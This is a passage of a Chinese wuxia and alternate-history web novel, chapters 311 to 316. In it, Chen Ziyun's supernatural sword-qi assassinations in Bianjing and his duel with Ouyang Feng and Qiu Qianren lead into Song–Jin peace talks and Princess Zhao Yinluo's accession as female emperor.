如果不是昨晚侍寝的小妾发现对方的身子已经凉了,说不得还以为他是昨天晚上劳累过度,一时贪睡而已。 等到第三人出现的时候,整个金国朝堂都开始惊恐,谁能保证自己不会是下一个被安乐死的。 冤魂索命、宋国奸细、有人要造反……种种猜测荡漾得这个本来就因为前线战事不利而动荡的朝廷,多少有些风雨飘摇的意思。 而当人死到第五个的时候,连汴京城里也开始往外跑人了,尤其是那些发现跟自己有不正当关系的官老爷莫名的死亡之后的有钱人。 第三百一十一章 和谈 他们还以为是自己的那些龌龊事东窗事发,金国朝廷要秋后算账了,这些人直接就带着自己的家眷连夜逃出了城去,连那些价值不菲的产业也顾不得了。 在他们看来,如今边境战事吃紧,金国朝廷肯定是国库空虚了,需要从民间聚敛一些钱财,而他们这些自知家产来历不能深究的人物,自然是第一个被针对的对象。 加上那些官员的离奇死亡,他们再不逃,那不是等着金庭来抄家灭族吗? 至于说那些来不及脱手的家产,人都没了,金银珠宝难道还能带到阴间去花费不成,保命第一啊。 而随着这些人的离开,低他们一个层次的,又有点消息来源的人物,也开始纷纷准备逃离了。 可这些人就没那么好运了,反应过来的金庭直接就把城门给戒严了,不得批准,汴京城中人不得随意出城。 这本来是在第一次出现官员离奇死亡的时候就应该实行的策略,但是考虑到本来就紧张的氛围,要是汴京城戒严,这必然会影响到军心民意,造成不必要的恐慌。 可事到如今,金庭发现,这些消息已经瞒不住了,大街小巷,但凡有点消息流通的地方就都知道,这汴京城里来了个肆意杀戮的瘟神。 随着城门的戒严,金庭索性也明目张胆的派出了军队,将城中大大小小的可能藏着那位不知道存不存在的杀手的地方给找了个遍,可终究是一无所获。 也有几个有些见识的提议,很可能是高来高去的江湖人干的。普通的兵士是捉不住对方的,还是要找来同级别的江湖人物才好。 可自从金章宗一股脑儿的将养着的那些江湖人物,都派给了奇将军去刺杀韩侂胄之后,金国就已经没有江湖人可用了。 就是那位曾经让金国惊为天人的裘千仞,也在碰上陈子云之后,悄然离去。虽然联系一直没断,但是对方的态度明显没有了以往的热情。 每次想请对方出山,裘千仞都以上次受伤,暂未彻底康复为托词。 有道是树倒猢狲散,墙倒众人推啊,裘千仞显然也是看出了金国已经风雨飘摇,不值得他再攀附了。 也有人给金章宗建议,可以派人去西域请高手来,毕竟那边的人物对于如今的金国情况并不十分了解,而且金国对于内蒙一代还是有一定的控制权的。 如今蒙古尚未统一,金国在明面上还有册封他们权利,只要他们派遣人去找高手,应该会有人响应。 这倒是不错的,可要是等着西域的人物过来,不知这金庭还要死多少官员。 不过此时金章宗也没有了别的选择,只好派人去西域、内蒙一带碰碰运气了。 …… 这些人自然就是潜入了汴京城的陈子云杀的,至于他是如何做到让这些人死的如此离奇的,那还要算是那本来一直无所寸进的破体无形剑气有了突破。 这种功夫已经脱离了一般武学的招法的限制,存粹以剑气伤人,而这剑气又与有形之剑不同,他借助的是无形的力量。 那位七圣主曾经借天地万物草木灵气出剑,那一剑让天下群雄束手,而陈子云悟出的一剑,却是以本身武学根基为剑。 这一剑出,自然还比不得关七圣的威名,还要压榨自身的潜力,可以说,陈子云如今用这破体无形剑气杀人,实在是去简就繁,给自己找麻烦。 不过不管是对于这门高深至极的武学的向往,还是对于这样的刺杀效果的追求,陈子云都有不得不如此做的理由。 一道剑气直接打入对方的脑海,以最微妙的角度,直接切断大脑与脊椎的连接。 中剑气者在瞬间其实并没有完全死亡,却已经完全的失去了对自己身体的感知,直到脑部因为缺氧而进入永久的沉睡,慢慢等待死亡的降临。 所以这些人在中剑的瞬间,甚至来不及做出惊恐的表情,就已经到踏上了奈何桥上。 再回头,人间已经是成了望乡。 …… 该杀的人已经差不多杀光了,除了那个吓的连自己寝宫都不敢出的金章宗之外,如今的汴京城中但凡跟韩侂胄之死有关的人物,都没有能喘气的了。 至于金章宗,陈子云倒是没有非要杀之而后快的意思,实在是这么一位皇帝在金庭至高处坐着,对于南边来说,着实是一件好事。 如今因为陈子云的捣乱,加上南宋在边境上的步步紧逼,金国终于是支撑不住了,率先提出了和谈的要求。 这一消息,自然是让南宋君臣都兴奋不已,被压了近百年的屈辱,如今却是轮到了自己做庄了,如何能不感觉到扬眉吐气,不负祖宗。 可这样的氛围还没维持三天,那帮子本来连跟金国交战都不敢的人物,却是说要直捣黄龙,收复故土了,实在是让人可叹,可笑。 反而是那帮本一直主战的人物,在看明白如今两国的形式之后,纷纷觉得可以先答应着,但是和谈的条件需要好好商榷一番。 至于说为什么,因为他们这帮殚精竭虑的维持着两国之战的人物,自然知道,如今的南宋,虽然看上去气势如虹,优势在我,可真的看到了自己的内里,那已经基本算是枯竭了的国库,就知道,没钱的战争是打不下去的。 如果能先忽悠着金国,为此时的南宋争取最大的权益,将那些这些年送到金国的岁币都拿回来,那到时候南宋才有再次跟金国开战的底气。 至于说这样做会不会有些不地道,笑话,两国交战,自然是无所不用其极。而且就算这样做会背负千古骂名,还不知道有多少臻臣愿意着这般的为国捐躯,甚至遗臭万年呢。 而宋宁宗当然也是看到了南宋这方面的缺陷,可形势如此,就算他是一国之君,也不能不讲实际的,非要那些如今已经人困马乏的边军将士,在吃喝都成问题的情况下,一口气打到汴京去。 这样的胡作非为,只会葬送南宋百年来好不容易争回来的这一口气。 第三百一十二章 险境 和谈,宋宁宗亲自拍板了这一违背民意的决策,如今也就是他这位权势在握的皇帝,才敢做出这样的决定了。 他甚至还要求赵茵萝要站在他的对立面,以此来为她聚拢人心,哪怕他的这次决定会让他带上不思进取、昏庸无能的帽子,宋宁宗也在所不惜。 他的年纪也不小了,这一场大战下来,更是可以说是呕心沥血。韩侂胄死后,权利自然是更加的集中了,可责任与压力也随之而来,宋宁宗的身体状况也是每况愈下。 御医不敢说他的天数,可宋宁宗心里还是有点自觉的,长久不了了,这就是作为一个皇帝的宿命。 他要开始给赵茵萝铺路了,这可比从宗室过继一个儿子来继承大统难太多了,毕竟唐时的武曌之祸,可是被所有皇族宗室忌惮的。 要知道,武则天时期对于天下臣民,说不上是什么太坏,但是对于李唐的子孙,李氏的宗族,那可就是天大的祸事了。 不知道多少李氏宗族子弟死在了武周的手上,实在是有些惨不忍睹。 所以,宋宁宗知道,赵茵萝如果真的要效仿武曌之事,那赵氏宗族就是最大的障碍。 宋宁宗不可能发疯的为赵茵萝,直接就那自己的宗室开刀,而是要想办法让赵氏宗族接受赵茵萝的可能成为女帝的事实。 也如宋宁宗所料,南宋一公布接受金国的和谈,顿时群情激奋,有些气血当头的学生,甚至直接开始骂起那些主张和谈的大臣。 甚至还有些爱国情怀的商贩,直接就宣布不做这些人的生意,顿时让这些哭笑不得的大臣,要靠宋宁宗的支援,才不至于让家里揭不开锅。 但是群情不管如何,大势所趋的情况下,宋金两国的和谈还是开始了,至于说何时能够达成一致意见,那自然不是一时半会能敲定的事情。 而当陈子云在汴京听到两国和谈的消息是也是意兴阑珊,虽然可以理解南宋的选择,但是心理上还是没法接受。 起码,韩侂胄跟辛弃疾都是因为这一场战争死的,也许他们如果还活着,都会支持宋宁宗的做法。 但是谁让他们都已经死了呢,不能将这场战役功成与一役,宋宁宗就是辜负了两人的付出,这是不可辩驳的事实。 陈子云沾了沾酒杯里的寡淡无味的酒水,在桌上写下了“家、国、天下” 几个字,又不由得摇头叹息。 古今多少风流人物,为此而生,为此而死,可这天下,这国,何事长久过,不过皆是一时的兴衰,百年的王朝而已。 兴、亡,不过是你唱罢来我登场罢了。 “子云兄,几年不见,风采依旧。” 一身白袍大袖的欧阳锋忽然出现了在了金国的界面,挥挥他那有些夸张的衣袖,直接坐在了陈子云的酒桌对面。 陈子云没有理会,似乎还沉浸在刚才的浮想联翩里,端起面前的酒碗大口一吞。 “哈哈哈,子云兄,好酒量,可这一人喝酒终归是孤寂了一些,不如让我来陪子云兄喝上一杯。” 欧阳锋也不客气,直接拿起桌上的酒坛子就往自己的碗里倒了满满一碗。 陈子云的眼角往旁边撇了一眼,一个青山豪客已经出现在了不远处,原来裘千仞也来了。 一场危机笼罩住了陈子云,有欧阳锋跟裘千仞他们两个联手,就算是当初的王重阳也不敢说能全身而退。 所以欧阳锋跟裘千仞才敢这么明目张胆的出现,而不怕陈子云跑了。他们两个都是如今天下难得一见的宗师人物,要他们联手对付陈子云,肯定是金庭付出了相当的代价的。 可这两人也有自己的骄傲,要是他们两人联手,还要畏首畏尾,那也太看得起陈子云,也太侮辱他们了。 恐怕他们以后见了五绝的其他几人,都会在心里觉得矮别人一等,毕竟在明面上,陈子云不过是个五绝只之外的天下第六而已。 “子云兄,金国国主,想请你见上一面。当然,子云兄贵为南宋驸马,金主,怕你不赏脸,就请了我跟这位裘千仞,裘帮主来一起请你大驾。” …… 据当时看到了汴京城里看到了这一战的民众讲,简直就是神仙打架,半条街的屋舍都被这三个不知道那座山上下来的非凡人物给打没了。 先是从李家酒铺开始,也是这家倒霉催的,除了一块传承了百十年的胡桃木招牌还算完整,整个酒铺都没有一个完好的酒碗留下来。 当时那位差点哭晕在自家酒铺的废墟里的李家酒铺第十八代传人,颤巍巍的指着老天爷,可就是一个字也骂不出来,那个惨呢。 还有后面靠着李家酒铺的沈家胭脂铺,那也是传了好几代人了,其中的那款用冬天的雪水,加上春天的百花调制成的上等胭脂,据说是宫里的娘娘都用过的。 可惜,如今也只剩下半个了铺面了,那位当时在铺子里给媳妇买胭脂的,算是练过一些把式的,自称走过江湖的少侠说,那半间铺子就是被其中一个人给一掌嘣飞的。 要说这放在以前啊,就是茶馆里的说书先生也不敢这么的胡扯,可如今啊,哪个汴京城里的人不相信,这些个人就是天上下来的神仙。 还有更远一些的,一颗足足七八个小孩都围不过来的老杨树,那据说是比汴京城都还要先立在那里的。 不知道吸了多少人气,受了多少香火,住在附近的人,都把他当祖宗祭拜,如今却被人用拳头生生的打出了几个窟窿,从南通到北啊。 这哪里还能是人做的事,这树就算是用斧子砍,也够人砍半个月的,嘿,这是拳头! 可这些还不是最离奇的,再往北边一点,就是在那个靠近城墙根的地方,那里有两堵本来修城墙的时候留下的石头垒城的矮墙,那石头可都是长宽都近丈的巨物啊。 你猜怎么着,就那其中的一个人用他那比女人还漂亮的手指这么一指…… 陈子云与西毒欧阳锋、铁掌裘千仞的汴京一战,必然是江湖上永远都过不去的传奇。 第三百一十三章 重伤 如今裘千仞死了也有几年了,可欧阳锋每每想起,陈子云那一手鬼神莫测的无形剑气,穿透巨石的同时也将裘千仞的身体穿的千疮百孔。 要不是他欧阳锋见机不妙,跑的够快,说不得这天下就再也没有西毒的名号了。 而那一战之后,“云仙一剑,天下无敌”的名号也算是彻底的震慑住了江湖,这是一位自从华山论剑王重阳登顶之后,实至名归的天下第一人。 可只有陈子云自己知道,那一场以一敌二的战斗,他赢的很侥幸。要不是刚好他的破体无形剑气有了突破,刚好在欧阳锋跟求裘千仞来之前,他又不惜损耗的在各个倒霉蛋身上做了试验,又刚好,那一天欧阳锋两人乖乖的跟着他来到了熟悉的地点,让他借着那一堆城墙石头的掩护,一招要了裘千仞的命。 如果没有这些偶然的条件同时达成,说不得在那里倒下的就是他陈子云了。 可就算他如此侥幸的赢了,等他强压着自己体内的剧毒趴在老黑的背上回到桃花岛,也让黄药师整整花费了三个月的功夫,才将欧阳锋下的毒给彻底排出了体外。 当时陈子云在酒铺里,第一眼见到欧阳锋,就将一口烈酒含在口内,为的就是将对方可能下的毒素,全部通过口鼻呼吸,将毒素集聚在这一口酒中。 很多毒物不溶于水,却是溶于酒的,当陈子云把这口不知道含了多少毒素的酒水喷出,本以为能借此解除了欧阳锋的暗算。 可当他发现自己的嘴巴,舌头还是出现了麻痹感时,陈子云就知道,自己还是低估了这位以毒为号的人物,在用毒方面到底是多么的强悍。 可惜华山论剑比出来的只有一个天下第一,要说还有用毒方面的单独比试,恐怕欧阳锋根本不需要花费什么大力气,就能直接夺冠。 当时陈子云的那一口毒酒是直接喷向裘千仞的,想来以欧阳锋的性格,就算他们两人合作来对付自己,但是他配的毒药,肯定不可能直接给裘千仞解药的。 陈子云直接持刀在手,一刀就飞向了欧阳锋的咽喉,这一刀自然不是那例无虚发的小李飞刀,不过是虚晃一刀,好让自己有几分可以便被动为主动的契机。 估计,也是因为这两人都见识过小李飞刀的锋芒,才肯同时出现在陈子云的视线里。 因为以他们的眼力,自然也能看出,那鬼神莫测的一刀之后,陈子云也必然是待宰的羔羊。 只要他们是两个人,以己度人的想,就料定陈子云是不敢随意出那样以命换命的一刀的。 陈子云从酒肆的窗户里跳了出去,欧阳锋直接运起杀招,双掌早就蓄满的蛤蟆功内力,直接将陈子云逃跑的方向上的那堵泥墙给轰塌了。 陈子云借机上了临近的屋顶,回过神来的裘千仞,直接在外面就干起了拆墙的本事,那铁砂掌插入房屋之中,跟插入豆腐里也没有多少区别。 陈子云自然不肯落入两人的包围之中,只好且战且走,黄昏细雨红袖刀、二十四节气惊神指,在两人的逼迫下,陈子云将自身的武学也发挥到了从来未有过的极致。 而胸中那不断在积累的剑气,在到达城墙下的那一刻开始满溢。 随着他貌似寻常的一指惊蛰点出,让欧阳锋跟裘千仞两人习惯性的稍微躲闪就要上前,可这指劲中突然四散开来的剑气。 不仅突破了他们的防御,甚至连那两堵旧城墙也瞬间千疮百孔,欧阳锋中了几道剑气,狼狈而走。 而裘千仞,他习惯性的用自己的铁掌打算强行接下陈子云的指劲,却被犀利的无可匹敌的锋利瞬间洞穿了全身。 铁掌帮一代宗师,铁掌水上漂就此陨落在金国汴京。 这一战,陈子云的背上中了裘千仞一掌,腿上被欧阳锋的蛇杖扫到一次,大块的血肉泛着蓝紫色的诡异摸样。 要不是老黑有灵,早早的在岸边等着他,陈子云恐怕就只能跳河碰运气了。 老黑由河入海,几天几夜不眠不休,将陈子云昏迷着背回了桃花岛。 那摸样,吓得小黄蓉直接就大哭不止,要不是黄药师手里的九花玉露药效够给力,算是给已经只剩下半口气的陈子云给吊住了性命。 陈子云便这般不闻不动的在桃花岛上躺了近一个月,等他醒来的时候,守在他床边的牛在我瘦的就像是变了个摸样。 “先生……” 牛在我满目含泪。 “干爹。” 因为黄药师预判陈子云会在这两天醒来,所以小黄蓉也是殷勤的守护在旁边。 “乖。” 久未开口的喉咙,说出的第一个字,自然是干涸的跟枯萎的河床一样。 后面的一个月里,陈子云依旧是黄药师的药罐子,加上九阴真经的疗伤奇效,回复自然比躺着的时候要快些。 白天便让牛在我推着,按照陈子云要求做的轮椅,在桃花岛的各处活动,浏览岛上的美景。 傍晚,便陪着小黄蓉在沙滩上看夕阳西下。 要是来了兴致,也指点一番牛在我与岛上的几位黄药师弟子之间的切磋。 这般的轻手轻脚的疗养了足足三个月,陈子云才算是真正的恢复了过来,但是那时不时的咳嗽,却是怎么也根除不了了。 那是裘千仞的背后的一掌,直接损害了陈子云的肺脉,就算是以黄药师的本事,也难将这伤势彻底修复。 “咳咳……就这样吧,或许咳咳……用这飞刀的人,都是这般的命。” 陈子云跟黄药师开了一个只有他自己知道的玩笑。 …… 金国在发现陈子云的时候,本来是准备想将他这位南宋驸马拿下,用来作为和谈时的筹码的。 可惜,金庭偷鸡不成蚀把米,没想到那两位在他们看来天神一般的人物,竟然在陈子云的面前,一死一逃。 这不但彻底打击了金庭的自信,也让他们在跟你南宋的议和谈判中更加的抬不起头来。 第三百一十四章 时间 南宋那边,虽然在第一时间并不知道是谁在汴京闹出了如此大动静,但是这并不妨碍那些猴精的谈判人员利用这件事情,来抬高本来预设好的要求上限。 南宋跟金庭的这场旷日持久的和谈,是在一边打一边谈的情况下进行的。当南宋的军队占据上风的时候,谈判席上,南宋的臣僚自然也是趾高气昂。 而当金国在战场上挽回了劣势,或者小小的打击了一番南宋军队的嚣张气焰,那作为金国的使臣,自然也有更多的底气跟南宋杀价。 光光这一场谈判,即从1214年的秋天,谈到了1215年的春天,最后终于因为两国再也扛不住自己国家的因为战争对国家元气的损耗,各自让了一步。 金庭向南宋称臣,重新划定边境线,就以如今南宋军队占领的地域为新边界,每年金庭向南宋朝贡,具体金额就参照南宋以前的岁币制度。 这样的谈判结果,对于南宋来说,自然是狠狠的扬眉吐气了一番。所谓的报复,最痛快的不就是把自己受到过的伤害,原原本本的让对方也受一次吗。 所以,面对这样的结果,南宋的臣民中,除了那些非要钻牛角尖,要直捣黄龙的那一小撮固执份子之外,都是相当满意的。 就是本来担心,会因为自己的妥协,而被苛责的宋宁宗也是大大的舒了一口气。 如今的他,这一场大战下来,又有这么旷日持久的谈判,本来不到五十的他,已经是满头白发了。 赵茵萝跟韩皇后,屡屡劝诫他不要因为国事而耽误了自己的身体,可宋宁宗却是笑笑。古往今来有几个帝王能在自己的在位期间,能做出像他这般的事业的,如何不让他全力以赴的投入。 那种指挥全局,掌控两国生死的权力,也足够让宋宁宗愿意付出提前衰老的代价。 权力的美妙,掌控一切的欲望,是所有人都无法戒除的罂粟。 看到这般摸样的宋宁宗,赵茵萝非常识相的将手中本来基本算是宋宁宗自己给的权力,都一点点的还了回去。 赵茵萝自幼就爱读史书,他了解此时的宋宁宗对于权力的掌控欲是多么的执着。 如果在这个时候,有人胆敢跟他分享权力,那么这个人必将死无葬身之地,哪怕这个人是他的至亲骨肉。 也许是忌惮那些在这场大战中立功的文成武将,宋宁宗以各种名目提拔了一批没有根基的内侍官。 这些人都有一个相同的特点,那就是胆大妄为,敢于直接指出任何一个,不管官职大小的朝臣的错漏。 就算是最细微的上朝时服饰的细微不同,他们也会直接在朝会上检举,丝毫不留情面。 …… 宦官的权力,其实都是皇帝自己权力的延伸,历史上那些重用宦官的朝代,没有一个不是因为权臣权力过大,或者是因为外戚尾大不掉。 他们不过是皇帝搬出来制衡朝中其他势力的杠杆而已,没有皇帝的支持,他们这群人,不过是小丑而已。 宋宁宗之所以要用这些人,无非也是担心,那些在这场战役中立下了奇功伟业的文臣武将,会居功自傲,会生出一些不该有的心思。 他自然也知道,启用宦官会给他带来一些不利的名声,毕竟这些人说白了就是他的家臣,不能算是真正的朝臣。 而且汉朝的十常侍的教训,也深深的被人忌惮着。 别说其他,在宋宁宗刚着手的时候,礼部的所有大臣几乎是不假思索的开始抗议了。 跟着的自然是其他的,自以为是忠君爱国的清流文臣,有几个竟然真的敢用脑袋往盘龙柱上撞。 就算没死,可脑袋上的那个窟窿确实也够唬人的,连宋宁宗都不得不缓了几天。 不过话说回来,家臣毕竟是家臣,他宋宁宗要提升哪位宦官,其实也不需要经过朝臣的同意。 后面他直接就下达了更换人员的认命,那些朝臣也拿他没有办法。 于是南宋朝廷便出现了一个奇怪的5人组织,由宋宁宗最信任的五个宦官组成。 对外可以说是宋宁宗的私人秘书处,可他们做的事情,却是替宋宁宗审核朝臣送上来的奏章。 而本来作为南宋中枢机构的中书与枢密院,却被在与皇帝的沟通中间竖了一道墙。 虽然刚开始的时候,那些聪明的宦官还表现的很是谦卑,同那些他们以前只能仰望的大人们都是客客气气的。 可随着宋宁宗的故意放权,为了达到制衡“二府”的目的,这些尝到了权力味道的宦官们便开始顺着皇帝的心意,与那些大人们势不两立了。 因为他们知道,皇帝就是为了对付这些大人们,才用的他们,那他们如何还能不好好发挥作用,反正如今那些大人们的手段,他们也学的差不多了。 作为能被选入这个被朝堂上戏称为“内廷”的五人,自然不会是只知道伺候人的蠢货。 他们不但有一定的学识,甚至有两个还是有功夫在身,是被红衣看做接班人的存在。 这也是宋宁宗对他们五人这么放心的原因,因为有红衣看着,他不觉得会出什么汉时的故事。 朝廷中自然还是有一大堆的不满之声,毕竟宋朝的制度,是要与士大夫共天下的,不可能让这些宦官像明朝时那样,肆意陷害甚至残杀朝臣。 这也不是宋宁宗的目的,他不过是想把这认为是自己一手促成的南宋中兴的权力,牢牢的掌握在自己的手中而已。 一年,两年,三年…… 春去春又来,时间这东西,从来不由人,也从不等人。 在宋金和谈之后,宋宁宗又强撑着身体,掌握着南宋这艘似乎有了起色的旧船缓缓航行了八年。 而到了如今时刻,不管是御医苑里的大医,还是各处搜罗来的珍贵药材,终于都是拖不住阎王殿的勾魂令了。 这八年来,宋宁宗手握大权,想方设法的想把南宋的朝政民生给拉起来,可仿佛是老天爷跟宋宁宗开了个大玩笑。 本来应该是最好的光景的,却屡屡发生莫名其妙的旱涝之灾,导致他的所有计划,都被连年的欠收给搞的草草收场。 甚至还留下了一大堆的烂摊子,还要靠赵茵萝带着人去收拾。 第三百一十五章 宗室动作 这种事情要是发生一次两次,倒也能说是天有不测风云,可接连几次发生之后,就是连宋宁宗自己的都开始担心,自己是不是哪里得罪了上天了。 而那些刚刚被压下去,心里正憋着恨的朝臣,更是将这天灾说成是人祸,是宋宁宗宠幸奸佞,老天降灾惩罚。 宋宁宗刚开始自然是不予理会的,那些所谓的“内廷”五虎,不过是那些人的捧杀而已。 那几个宦官的所作所为,一桩桩一件件吧都是在他眼皮子底下看着的,就算有些小手段,那也不过是自己故意任其施为而已。 要是不这么做,那些中书跟枢密院的人,还不知道要怎么忽悠他呢。 他不过是借此,略施惩戒而已,无伤大雅。 可很多事情,在不同人的眼里,看到的却是不同的景象,宋宁宗觉得他作为帝王,利用权术,实行集权,是为了国家。 可这些落在了其他朝臣眼中,就是他宋宁宗好大喜功,忘记初心,宠幸奸佞,伤了忠臣的心,而那些为所欲为的宦官很可能就成为南宋的亡国先兆。 如今好在宋宁宗已经病危,等换一个皇帝上来,他们一定要对方将这惑国殃民的内廷五虎彻底根除。 …… “爹爹……” 赵茵萝欲言又止的握着已经陷入弥留之际的宋宁宗,旁边还有韩皇后跟一个宗族里挑出来准备强行塞给宋宁宗做继子的堂哥。 她甚至连对方具体的名字都不曾记得,似乎已经是很偏远的一支了,也不知道这赵氏的宗族长老们是怎么想的。 “陛下!” 韩皇后自从宋宁宗病重之后,就也随着病倒了,如今她的头上还缠着御医给的药膏头巾。 看着自己这位为了国事生生把自己累倒了的丈夫,韩皇后只能是以泪回应。 “殿下,娘娘,还是请陛下用印吧,我赵宋的大位,可不能虚置啊!” 一位赵茵萝并不熟悉的赵氏宗族长老,拉着那位堂哥,让他跪倒在了昏迷不醒的宋宁宗面前。 赵茵萝撇了一眼,似乎没有丝毫把对方放在眼里的打算。 “嗯,呜呜。” 宋宁宗在迷糊中发出了一些声响,也不知道是回光返照,还是只是无意义的梦呓。 “你看,陛下同意了,赶紧用印吧,老朽已经将诏书拟好了。” 那位赵氏宗族长老睁大那只已经昏花的老眼,满脸兴奋的说着,跪在地上的那位赵氏堂哥,也毫不掩饰的激动的咽着唾沫。 “叔父,你岂可如此……” 韩皇后这是在为自己的丈夫鸣不平,宋宁宗从来都是不敢枉顾宗族的利益的,都是把这帮人当成庙里的菩萨一样供着,可如今,他还没闭眼,他们就急着要将他送入地狱了。 “皇后,这是我赵氏宗族,皇位传承的大事,你还是不要插嘴的好。” 那赵氏长老以为,只要宋宁宗不能开口,明确的表示反对,那么自己的谋划就是不可辩驳的。到时候自己这位亲侄子顺理成章的做了皇帝,那他在赵氏宗族的地位自然是水涨船高。 韩皇后本来就不是擅长于口舌之争的人,被这位赵氏的长老这样一怼,本来因病苍白的脸色,瞬间涨得通红。 赵茵萝过去扶住了韩皇后摇摆不定的身体,眯着眼扫了那两人一眼,那双连陈子云都赞赏不已的美眸中,洒出的是让人心寒的目光。 不过那位赵氏长老竟然敢在这个时候趁火打劫,自然是做了一些准备的,他不顾众人的异样,径自来到宋宁宗的御案前,直接拿起那块关乎天下苍生的大印,按在了自己早就准备好的诏书上。 “哈哈哈,成了,成了。” 这位赵氏宗族长老,再也藏不住内心得逞的喜悦,摇摇举着手中的诏书笑道。 “叔父,多谢叔父。” 那位本来跪在宋宁宗面前的赵氏子弟,直接对着长老拜谢道。 “不必谢我,你以后别忘了敬天爱民,中兴我赵宋王朝就是对我最大的安慰了。” 赵氏宗族长老拍着那年轻人的肩膀,语重心长的说道。 “不敢忘,祖宗教诲。” 赵茵萝看着面前这一老一少的表演,连打个哈欠都欠奉。 跳梁小丑。 “走,跟我出去,你该接受群臣的拜见了。” 赵氏宗族长老亲热的拉起跪在自己面前的,如今的下一代南宋之主,满是欣慰,神色中还带着些指点的意味。 赵氏宗族长老拉着这个年轻人的手,缓步出了这个让他讨厌的,满是药味的地方,来到群臣伫立等候着消息的殿外。 “参见陛下。” 群臣朝着开门出来了赵氏宗族长老跟那位年轻人鞠躬下拜。 这让那位赵氏宗族长老,很是受用。他也没料到,这些连宋宁宗都没办法的倔脾气的家伙,竟然就这么服软了,难道是自己搬出来的赵氏皇族的威仪压服了他们。 不管如何,这次自己不顾宗族里的反对,把自己的侄子推举上来,顶替宋宁宗成为南宋的下一位国主,算是赌对了。 赵茵萝,不过是一个女娃,还是出嫁为人妇的人,怎么能够牝鸡司晨,学武曌故事呢。 他们赵氏皇族的男丁还没有死完呢,再没出息,难道还比不上一个女流之辈。 他们也不想想,当初的武曌是怎么祸害李唐天下的,这帮人不是被赵茵萝那小女娃收买了,就是迷了心智了,竟然要把江山社稷交给外人,实在是枉顾祖宗的混账东西。 “平身!” 赵氏宗族长老,忍不住平举双手,想着体会了一把皇帝的权威。当然他是看了一眼旁边的侄子的,见他傻楞着的摸样,心想究竟是没长大的孩子,这样场面还是要他这个当叔叔的来给他撑着。 赵氏宗族长老不由得想到,要是以后自己操作的得当,为何就不能当个实际上的太上皇呢? “嗯?平身了。” 长老心里想着,却发出了一声不满。 原来那些朝臣竟然还弓着身子,丝毫没有理会他的话语。 “我说了,平身。” 赵氏宗族长老带着些许不满的口吻吼道,他又斜了一眼还在旁边发呆的侄子,见他此时浑身发抖,不知道的还以为他是有什么羊癫疯发作了。 第三百一十六章 女帝 这个扶不起来的阿斗,自己怎么就会选了他了。 可如今的局面,自然是不能真的当着群臣的面去指摘这位已经是既定的南宋皇帝的,只能是朝着那些不知所谓的朝臣喝骂。 “你们这些混蛋,聋了吗,让你们平身,起来,都给我起来。” 就在这位长老气急败坏的时候,一身轻缓的应答从身后传来。 “众卿家……平身……” “谢陛下!” 赵茵萝在安抚好韩皇后之后,从里面跟着两人出来了,只是赵氏宗族长老过于沉浸在自己的喜悦中,没有发现赵茵萝就在他们的后面。 而群臣的行礼也不是对着他们的,却是对着后面的赵茵萝的。 此时的赵茵萝缓缓而来,步伐之间自然的流露出驾轻就熟的领袖威仪,那是她身为公主却临朝听政培养出来的威严霸气,不是一般人能有的。 “我有传位诏书,我有传位诏书,我侄子才是正统的大宋皇帝,你们在做什么,做什么?!” 长老高高的举起那卷黄稠布,朝着群臣示意着。 似乎有几个人诧异的看了他一眼,可随即就摆正了自己的姿态。 “你们做什么,难道你们要造反吗,不尊先皇的遗旨,却要尊一个女人到皇帝,你们不怕唐朝故事吗,你们……” 长老气的浑身颤抖着说道。 “叔父,我父皇可还尚在,作为长辈,还请你注意自己的言辞。还有,你真认为我大宋的天下,是靠那一纸黄稠就能定下的?” “这位?” 赵茵萝指指那位已经几乎被吓傻的堂哥。 “你真的觉得,将这大好河山交给他这样一位连我朝基本的情况都不能分析清楚的人,真的妥当? 我大宋好不容易从北方抢回来的一口活气,难道就要因为叔父手上这卷来的龌龊的黄稠生生送葬了? 这满朝的文武,你可知道,他们为了我大宋能有如今的局面,努力了多久,奉献了多少,又期望了几许?” …… 宋宁宗驾崩,女帝赵茵萝登基为南宋第五位皇帝,改国号为武兴。这个一反常态的国号,也反应了千古以来的这第二位女帝的心胸抱负。 她要一改宋朝文强武弱的弊病,将大力发展南宋的军事力量,这件事情其实在宋宁宗时期就已经开始着手,只是刚起步,就中道崩殂了。 有了前面几年的基础,赵茵萝推行优待兵士、武将的政策也就没有那么多的阻碍。 这些年来,赵茵萝根据陈子云当时透露出来的,关于社会舆论跟民心臣意的掌控方式,不断的宣传着关于军队的重要性,当兵的荣誉感,建功立业的为大丈夫为这类的思想。 如今的南宋臣民,虽然说不上都有什么好男儿当保家卫国的觉悟,但是跟以前那种好男不当兵,好铁不打钉的思维习惯,已经是大不相同了。 而那些驻守在临安附近,拱卫京师的禁军,也常常被赵茵萝以军事演习、拉练的形式在临安臣民面前亮相。 当然在表彰这些军队的时候,她也会让几个事先沟通好的臣民给这些表现卓越的兵士们献上一些小礼物,以此来拉进军民关系。 按照陈子云的说法,万一哪天金国打到了临安城下,这样的军民关系,起码能让这些兵民相互之间都念着点好,起码投降之前还能想想他们保护的人是自己曾经认识的。 而那些了解了军士的民众也能认识到,保护他们,浴血奋战的也不过是和他们一样的有血有肉的普通人,他们也可能需要帮助。 赵茵萝其实也不知道这样看似严重与常识不相符的操作会不会真的有用,直到禁军那边传来,有附近的民众自发组织给他们送去了一些地里产的吃食,她就知道自己必须要继续做下去了。 …… 牛在我今天照例回到了牛家村,在跟熟人打过一圈招呼之后,就走进了格物书院中的陈府大门。 这书院的规模倒是越来越大,以前的半个牛家村都基本被囊括了进来,而那些被征迁到的房屋,要么书院负责在村子里另外找一块地方重建,要么拿了巨额赔偿迁居到了临安城里。 牛在我看着当初不过是先生屋后的一个小凉棚,如今却是成为了南宋最大,甚至是天底下最大的格物书院,也是感慨良多。 当时跟自己一届的那些小屁孩们,如今也不少人放任为官了,当然也有选择回到书院里帮忙的,教书的,打杂的都有。 所以每次回来,总是要被这些曾经的同学拉着喝酒,其实他们也不过是借着机会打听先生的消息而已。 对这个改变了他们一生的先生,对于这个时代的青年来讲,那真的可谓是师恩不输父母恩的。 生养之恩如天,教育之恩如地。 何况,曾经的那个小私塾,可以说是,即教育了他们,也养育了他们,要不然他们之中起码也有几个是长不到成年的。 在这个时代,农村里的小孩,饿死,也不过是正常事情。 牛在我熟练的来到陈府的后院,这里本来就陈子云跟赵茵萝练武的地方,而如今却只有一个见证了这一切的一个孤亭耸立在了这里。 自从赵茵萝继位以来,陈子云就吩咐他每年将一打由先生亲自执笔的书稿送到这里来。 书稿上写的东西牛在我也好奇的看过几眼,可那里面关于什么方阵,什么游击之类的词汇,就算是他这个先生的嫡传弟子也弄不明白。 